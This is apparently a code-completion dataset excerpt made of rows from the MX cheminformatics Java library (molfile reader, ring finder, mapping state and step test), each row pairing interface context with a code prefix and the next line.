* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.ring;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class HanserRingFinder implements RingFinder
{
private List<List<Atom>> rings;
private int maxRingSize;
public HanserRingFinder()
{
rings = new ArrayList();
maxRingSize = -1;
}
public void setMaximumRingSize(int max)
{
this.maxRingSize = max;
}
public int getMaximumRingSize()
{
return this.maxRingSize;
}
| public Collection<List<Atom>> findRings(Molecule molecule) |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileReader.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.io.mdl;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class MolfileReader
{
private boolean readChargesInAtomBlock;
public MolfileReader()
{
readChargesInAtomBlock = false;
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.io.mdl;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class MolfileReader
{
private boolean readChargesInAtomBlock;
public MolfileReader()
{
readChargesInAtomBlock = false;
}
| public void read(Molecule mol, String molfile) |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileReader.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList; |
createAtoms(mol, atomBlock, 5);
createBonds(mol, bondBlock, 5 + atomCount);
return 5 + atomCount + bondCount;
}
private void createAtoms(Molecule mol, String[] lines, int startLine)
{
for (int i = 0; i < lines.length; i++)
{
String line = MDLStringKit.padRight(lines[i], 69);
try
{
createAtom(mol, line);
} catch (Exception e)
{
throw new RuntimeException("Can't parse line " + (startLine + i) + " as atom.\n" + e.getLocalizedMessage() + "\n" + line, e);
}
}
}
private void createAtom(Molecule mol, String line)
{
float x = MDLStringKit.extractFloat(line, 0, 10);
float y = MDLStringKit.extractFloat(line, 10, 20);
float z = MDLStringKit.extractFloat(line, 20, 30);
String symbol = MDLStringKit.extractString(line, 31, 34);
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList;
createAtoms(mol, atomBlock, 5);
createBonds(mol, bondBlock, 5 + atomCount);
return 5 + atomCount + bondCount;
}
private void createAtoms(Molecule mol, String[] lines, int startLine)
{
for (int i = 0; i < lines.length; i++)
{
String line = MDLStringKit.padRight(lines[i], 69);
try
{
createAtom(mol, line);
} catch (Exception e)
{
throw new RuntimeException("Can't parse line " + (startLine + i) + " as atom.\n" + e.getLocalizedMessage() + "\n" + line, e);
}
}
}
private void createAtom(Molecule mol, String line)
{
float x = MDLStringKit.extractFloat(line, 0, 10);
float y = MDLStringKit.extractFloat(line, 10, 20);
float z = MDLStringKit.extractFloat(line, 20, 30);
String symbol = MDLStringKit.extractString(line, 31, 34);
| Atom atom = mol.addAtom(symbol, x, y, z); |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileReader.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList; | if ("M STY".equals(property))
{
int entryCount = MDLStringKit.extractInt(line, 6, 9);
for (int i = 0; i < entryCount; i++)
{
int offset = i * 8;
int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13);
String sgroupType = MDLStringKit.extractString(line, offset + 14, offset + 17);
if (!"SUP".equals(sgroupType))
{
throw new RuntimeException("Error parsing Substructure, only Superatom is supported.");
}
mol.addSuperatom();
}
}
else if ("M SLB".equals(property))
{// Ignore Identifier
// int entryCount = MDLStringKit.extractInt(line, 6, 9);
// for (int i = 0; i < entryCount; i++)
// {
// int offset = i * 8;
// int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13);
// int sgroupIdentifier = MDLStringKit.extractInt(line, offset + 14, offset + 17);
// Substructure substructure = mol.getSubstructure(sgroupIndex-1);
// }
}
else if ("M SAL".equals(property))
{
int sgroupIndex = MDLStringKit.extractInt(line, 6, 10); | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/io/mdl/MolfileReader.java
import java.util.List;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.io.LineNumberReader;
import java.io.StringReader;
import java.io.IOException;
import java.util.ArrayList;
if ("M STY".equals(property))
{
int entryCount = MDLStringKit.extractInt(line, 6, 9);
for (int i = 0; i < entryCount; i++)
{
int offset = i * 8;
int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13);
String sgroupType = MDLStringKit.extractString(line, offset + 14, offset + 17);
if (!"SUP".equals(sgroupType))
{
throw new RuntimeException("Error parsing Substructure, only Superatom is supported.");
}
mol.addSuperatom();
}
}
else if ("M SLB".equals(property))
{// Ignore Identifier
// int entryCount = MDLStringKit.extractInt(line, 6, 9);
// for (int i = 0; i < entryCount; i++)
// {
// int offset = i * 8;
// int sgroupIndex = MDLStringKit.extractInt(line, offset + 10, offset + 13);
// int sgroupIdentifier = MDLStringKit.extractInt(line, offset + 14, offset + 17);
// Substructure substructure = mol.getSubstructure(sgroupIndex-1);
// }
}
else if ("M SAL".equals(property))
{
int sgroupIndex = MDLStringKit.extractInt(line, 6, 10); | Superatom substructure = mol.getSuperatom(sgroupIndex - 1); |
metamolecular/mx | src/com/metamolecular/mx/map/State.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import java.util.Map; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface State
{
/**
* Returns the current mapping of query atoms onto target atoms.
* This map is shared among all states obtained through nextState.
*
* @return the current mapping of query atoms onto target atoms
*/ | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/map/State.java
import com.metamolecular.mx.query.*;
import com.metamolecular.mx.model.Atom;
import java.util.Map;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.map;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface State
{
/**
* Returns the current mapping of query atoms onto target atoms.
* This map is shared among all states obtained through nextState.
*
* @return the current mapping of query atoms onto target atoms
*/ | public Map<Node, Atom> getMap(); |
metamolecular/mx | src/com/metamolecular/mx/test/DefaultStepTest.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/walk/DefaultStep.java
// public class DefaultStep implements Step
// {
// private Atom focus;
// private List<Atom> path;
// private List<Bond> bonds;
//
// public DefaultStep(Atom focus)
// {
// this.focus = focus;
// path = new ArrayList();
// bonds = new ArrayList();
//
// loadBonds(null);
// path.add(focus);
// }
//
// private DefaultStep(DefaultStep step, Bond bond)
// {
// this.focus = bond.getMate(step.getAtom());
// this.path = new ArrayList(step.path);
// this.bonds = new ArrayList();
//
// path.add(focus);
// loadBonds(bond);
// }
//
// public Atom getAtom()
// {
// return focus;
// }
//
// public List<Atom> getPath()
// {
// return path;
// }
//
// public boolean hasNextBond()
// {
// return bonds.size() != 0;
// }
//
// public Bond nextBond()
// {
// Bond result = null;
//
// try
// {
// result = bonds.remove(bonds.size() - 1);
// }
//
// catch (ArrayIndexOutOfBoundsException e)
// {
// throw new RuntimeException("Attempt to get nonexistant bond.", e);
// }
//
// return result;
// }
//
// public Step nextStep(Bond bond)
// {
// return new DefaultStep(this, bond);
// }
//
// public boolean closesRingWith(Bond bond)
// {
// Atom mate = bond.getMate(focus);
//
// return path.contains(mate);
// }
//
// private void loadBonds(Bond exclude)
// {
// for (Bond bond : focus.getBonds())
// {
// if (bond != exclude)
// {
// bonds.add(bond);
// }
// }
// }
// }
//
// Path: src/com/metamolecular/mx/walk/Step.java
// public interface Step
// {
// public Atom getAtom();
//
// public List<Atom> getPath();
//
// public boolean hasNextBond();
//
// public Step nextStep(Bond bond);
//
// public Bond nextBond();
//
// public boolean closesRingWith(Bond bond);
// }
| import java.util.Arrays;
import junit.framework.TestCase;
import static org.mockito.Mockito.*;
import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.walk.DefaultStep;
import com.metamolecular.mx.walk.Step; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
